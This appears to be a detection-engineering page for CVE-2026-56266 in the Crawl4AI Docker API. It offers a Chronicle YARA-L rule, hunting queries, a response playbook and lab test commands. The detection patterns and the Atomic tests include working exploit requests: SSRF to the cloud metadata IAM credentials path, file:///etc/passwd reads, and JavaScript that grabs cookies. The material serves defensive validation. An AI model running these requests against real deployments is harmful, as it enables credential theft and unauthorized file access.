CVE-2026-56266 Google Chronicle · YARA-L

Detect Crawl4AI Docker API Multiple Critical Vulnerabilities (File Write, SSRF, Auth Bypass, XSS, JS Execution) in Google Chronicle

Detects exploitation of CVE-2026-56266 affecting Crawl4AI <= 0.8.6 Docker API. The vulnerability bundle includes unauthenticated access (CWE-306), path traversal file write (CWE-22), server-side request forgery (CWE-918), stored/reflected XSS (CWE-79), JavaScript injection/execution (CWE-94), and hardcoded credentials (CWE-798). A public PoC is available. Successful exploitation allows full container compromise, internal network pivoting, and arbitrary file write to the host.

MITRE ATT&CK

Tactic
Initial Access Execution Credential Access Discovery Lateral Movement Collection

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule crawl4ai_exploit_attempt {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects exploitation of CVE-2026-56266 Crawl4AI multiple vulnerabilities"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://github.com/advisories/GHSA-365w-hqf6-vxfg"
    version = "1.0"

  events:
    $e.metadata.event_type = "NETWORK_HTTP"
    $e.target.port in (11235, 8080, 8000, 8001)
    (
      re.regex($e.network.http.request_url, `(?i)/(?:crawl|execute_js|screenshot|extract|batch)`) or
      re.regex($e.network.http.request_url, `(?i)(\.\./|%2e%2e|%252e%252e|file://|gopher://|169\.254\.169\.254)`) or
      re.regex($e.network.http.request_url, `(?i)(<script|javascript:|onerror=|onload=)`)
    )
    $ip = $e.principal.ip

  match:
    $ip over 5m

  outcome:
    $risk_score = max(
      if(re.regex($e.network.http.request_url, `169\.254\.169\.254|file://`), 95,
      if(re.regex($e.network.http.request_url, `execute_js|%2e%2e|\.\./`), 85, 70))
    )
    $threat_type = array_distinct(
      if(re.regex($e.network.http.request_url, `(?i)(\.\./|%2e%2e)`), "PathTraversal",
      if(re.regex($e.network.http.request_url, `169\.254\.169\.254`), "SSRF-CloudMetadata",
      if(re.regex($e.network.http.request_url, `execute_js`), "JSExecution", "Other")))
    )

  condition:
    $e
}
critical severity high confidence

Chronicle YARA-L rule detecting HTTP requests matching Crawl4AI exploit patterns within a 5-minute match window, with risk scoring based on threat severity of the observed indicator.

Data Sources

Chronicle HTTP logsGCP Load Balancer logsCloud Armor WAF logs

Required Tables

network_http

False Positives & Tuning

  • Automated crawl jobs submitting legitimate JavaScript-heavy pages to execute_js endpoint
  • Internal penetration tests from GCP Cloud Shell or authorized GCP project IPs
  • Cloud-native CI pipelines testing Crawl4AI containers in GKE with unusual URL parameters
  • Security research or bug bounty activities against development Crawl4AI instances

Other platforms for CVE-2026-56266

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Crawl4AI Unauthenticated API Access Test

    Expected signal: HTTP POST to port 11235 /crawl endpoint with 200 response and no Authorization header in request logs

  2. Test 2Crawl4AI SSRF via Cloud Metadata Endpoint

    Expected signal: Outbound HTTP connection from Crawl4AI container to 169.254.169.254:80; logged in container network flow data and potentially in WAF/proxy logs

  3. Test 3Crawl4AI Path Traversal File Read via Screenshot Endpoint

    Expected signal: HTTP POST to /screenshot or /crawl with file:// URL scheme in request body; response may contain file contents if vulnerable

  4. Test 4Crawl4AI JavaScript Code Injection via execute_js Endpoint

    Expected signal: HTTP POST to /execute_js with js_code parameter containing JavaScript; Crawl4AI process spawning Playwright browser subprocess

Last updated: 2026-07-01 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify all hosts with Crawl4AI installed or running as a container: search container registries, Docker daemon, and package managers for crawl4ai <= 0.8.6. Check `pip show crawl4ai` and `docker ps` for running instances.
  2. Determine if the Crawl4AI API port (default 11235) is exposed externally or only to internal networks. Review firewall rules, cloud security groups, and reverse proxy configurations.
  3. Examine HTTP access logs for the Crawl4AI API server for the past 72 hours, filtering for requests to /crawl, /execute_js, /screenshot, /extract endpoints. Look for path traversal sequences (../, %2e%2e), SSRF indicators (file://, internal IPs, cloud metadata endpoints), and XSS payloads.
  4. Check for unauthorized file creation or modification in the Crawl4AI container and any mounted host volumes. Compare file timestamps against expected deployment dates.
  5. Assess whether the Crawl4AI instance uses the default hardcoded credentials (CWE-798). Review authentication configuration and any custom auth middleware deployed.

Containment

  1. Immediately block external network access to all Crawl4AI API ports (default 11235) at the network perimeter using firewall rules or cloud security group updates. If the service must remain available, restrict access to trusted IP ranges only.
  2. If exploitation is confirmed, isolate the affected container: `docker network disconnect <network> <container>` or pause the container with `docker pause <container>`. Preserve the container state for forensic analysis before any remediation.
  3. Rotate all credentials associated with the Crawl4AI deployment and any services accessible from it, particularly if SSRF exploitation may have allowed access to cloud metadata services (IAM role credentials, instance identity tokens).
  4. Deploy a WAF rule blocking requests containing path traversal sequences, SSRF indicators, and JS injection payloads targeting Crawl4AI API endpoints as an emergency control while patching is scheduled.

Evidence Collection

  1. Capture full HTTP access logs from the Crawl4AI API server and any reverse proxy in front of it (nginx, HAProxy, Traefik). Preserve original log files with timestamps intact. Hash collected evidence with SHA-256.
  2. Export the Docker container filesystem snapshot: `docker export <container_id> > crawl4ai_evidence_$(date +%Y%m%d).tar`. This preserves any dropped files, modified configurations, and shell history.
  3. Collect network flow data (NetFlow/IPFIX or cloud VPC flow logs) for the Crawl4AI host for the past 7 days to identify SSRF-driven outbound connections to internal services or cloud metadata endpoints.
  4. If the host OS is accessible, collect process execution history, cron jobs, and any new SSH keys or authorized_keys modifications that may indicate post-exploitation persistence.

Escalation Criteria

  • !Escalate immediately to incident response if evidence shows successful SSRF access to cloud metadata service (169.254.169.254) — this indicates potential IAM credential theft and lateral movement to cloud infrastructure.
  • !Escalate if path traversal exploitation has resulted in files being written outside the container to mounted host volumes, or if the container is running with privileged mode or host network access, indicating potential container escape.
  • !Escalate if the JavaScript execution endpoint (/execute_js) was accessed without authentication and server-side code execution is confirmed, as this constitutes full RCE within the container context.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Crawl4AI API access logs at /var/log/nginx/access.log or equivalent reverse proxy log path showing anomalous URL patterns
  • >Container filesystem modifications: newly created files in /tmp, /etc, /root, or host-mounted volumes post-exploitation
  • >Network connections from the Crawl4AI container to internal IP ranges or cloud metadata endpoints (169.254.169.254, 100.100.100.200 for Alibaba Cloud)
  • >Process execution records within the container showing spawned child processes from the Crawl4AI Python process
  • >Docker daemon logs (/var/log/docker.log or journald) showing container network activity or exec events

Tuning Guidance

Start by baselining legitimate Crawl4AI API usage patterns in your environment: identify authorized source IPs, expected API endpoints, and typical URL patterns submitted to /crawl. Reduce false positives by allowlisting known crawler automation source IPs and excluding internal health check traffic. For path traversal detection, normalize URL encoding before matching to catch double-encoded variants (%252e%252e). Raise the event_count threshold in SIEM rules if your environment generates high-volume crawl jobs that legitimately access execute_js. For SSRF detection, the cloud metadata IP (169.254.169.254) is a near-zero false positive indicator and should always alert at high priority without threshold filtering.

Hunting Queries

Threat hunt for high-confidence SSRF and path traversal indicators in Crawl4AI traffic over the past 7 days, targeting cloud metadata endpoint access and file scheme abuse which are unambiguous exploitation signals.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DestinationPort in (11235, 8080, 8000)
| where RequestURL has '169.254.169.254'
   or RequestURL has 'file://'
   or RequestURL matches regex @'(\.\./|%2e%2e)'
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, RequestMethod
| order by TimeGenerated desc
Hunting — SPL
spl 
index=web OR index=proxy earliest=-7d
| where match(uri, "169\.254\.169\.254|file://|\.\./|%2e%2e")
| where dest_port IN (11235, 8080, 8000)
| table _time, src_ip, dest_ip, uri, status
| sort - _time

Hunt for repeated successful calls to the Crawl4AI JavaScript execution endpoint (/execute_js) — three or more successful HTTP 200 responses may indicate active JS injection exploitation.

Hunting — KQL
kql 
AzureDiagnostics
| where TimeGenerated >= ago(7d)
| where ResourceType == 'APPLICATIONGATEWAYS'
| where requestUri_s has_any ('/execute_js', '/crawl', '/extract')
| where httpStatus_d == 200
| summarize SuccessfulCalls = count() by clientIP_s, requestUri_s, bin(TimeGenerated, 1h)
| where SuccessfulCalls >= 3
| order by SuccessfulCalls desc
Hunting — SPL
spl 
index=web earliest=-7d
| where match(uri, "(?i)/execute_js")
| where status=200
| stats count AS success_count by src_ip, uri
| where success_count >= 3
| sort - success_count

Atomic Red Team Tests

Test 1 Crawl4AI Unauthenticated API Access Test
linux

Verifies that Crawl4AI API endpoints are accessible without authentication (CWE-306), simulating the initial access phase of exploitation.

Command

bash 
# Lab only - requires Crawl4AI <= 0.8.6 running locally
curl -s -o /dev/null -w "%{http_code}" http://localhost:11235/health
curl -s -X POST http://localhost:11235/crawl \
  -H 'Content-Type: application/json' \
  -d '{"urls": ["http://example.com"], "priority": 1}' | python3 -m json.tool

Cleanup

bash 
No cleanup required — read-only health and crawl submission test

Expected Telemetry

HTTP POST to port 11235 /crawl endpoint with 200 response and no Authorization header in request logs

Expected Detection

Alert on unauthenticated API call to Crawl4AI crawl endpoint; log source: nginx/apache access log

Test 2 Crawl4AI SSRF via Cloud Metadata Endpoint
linux

Tests SSRF vulnerability (CWE-918) by submitting a crawl job targeting the AWS EC2 instance metadata service, simulating credential theft via SSRF.

Command

bash 
# Lab only - run in isolated network environment without live AWS credentials
curl -s -X POST http://localhost:11235/crawl \
  -H 'Content-Type: application/json' \
  -d '{"urls": ["http://169.254.169.254/latest/meta-data/iam/security-credentials/"], "priority": 10}'

Cleanup

bash 
Kill any active crawl job: curl -s -X DELETE http://localhost:11235/crawl/<task_id>

Expected Telemetry

Outbound HTTP connection from Crawl4AI container to 169.254.169.254:80; logged in container network flow data and potentially in WAF/proxy logs

Expected Detection

SSRF-CloudMetadata alert firing on 169.254.169.254 destination in URL parameter; high confidence, critical severity

Test 3 Crawl4AI Path Traversal File Read via Screenshot Endpoint
linux

Tests path traversal vulnerability (CWE-22) using the screenshot endpoint to attempt reading files outside the intended web root, simulating unauthorized file access.

Command

bash 
# Lab only - run against isolated Crawl4AI test instance
curl -s -X POST http://localhost:11235/screenshot \
  -H 'Content-Type: application/json' \
  -d '{"url": "file:///etc/passwd"}'
curl -s -X POST http://localhost:11235/crawl \
  -H 'Content-Type: application/json' \
  -d '{"urls": ["file:///etc/hostname"], "priority": 1}'

Cleanup

bash 
No files created; remove any test task via DELETE /crawl/<task_id>

Expected Telemetry

HTTP POST to /screenshot or /crawl with file:// URL scheme in request body; response may contain file contents if vulnerable

Expected Detection

PathTraversal or SSRF-AltScheme alert on file:// scheme detection in Crawl4AI API request

Test 4 Crawl4AI JavaScript Code Injection via execute_js Endpoint
linux

Tests server-side JavaScript execution vulnerability (CWE-94) by submitting arbitrary JS to the execute_js endpoint, simulating code execution within the Crawl4AI Playwright browser context.

Command

bash 
# Lab only - tests JS execution in isolated Playwright context, no actual system access
curl -s -X POST http://localhost:11235/execute_js \
  -H 'Content-Type: application/json' \
  -d '{"url": "http://example.com", "js_code": "return {hostname: window.location.hostname, cookies: document.cookie, agent: navigator.userAgent}"}'

Cleanup

bash 
No persistent changes; Playwright browser context is ephemeral per request

Expected Telemetry

HTTP POST to /execute_js with js_code parameter containing JavaScript; Crawl4AI process spawning Playwright browser subprocess

Expected Detection

JSCodeExecution alert on access to execute_js endpoint; medium-to-high severity depending on auth context

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0006Credential AccessTA0007DiscoveryTA0008Lateral MovementTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1552.001Credentials In FilesT1018Remote System DiscoveryT1083File and Directory DiscoveryT1059.007JavaScript

Same Tactic: Initial Access

Popular Detections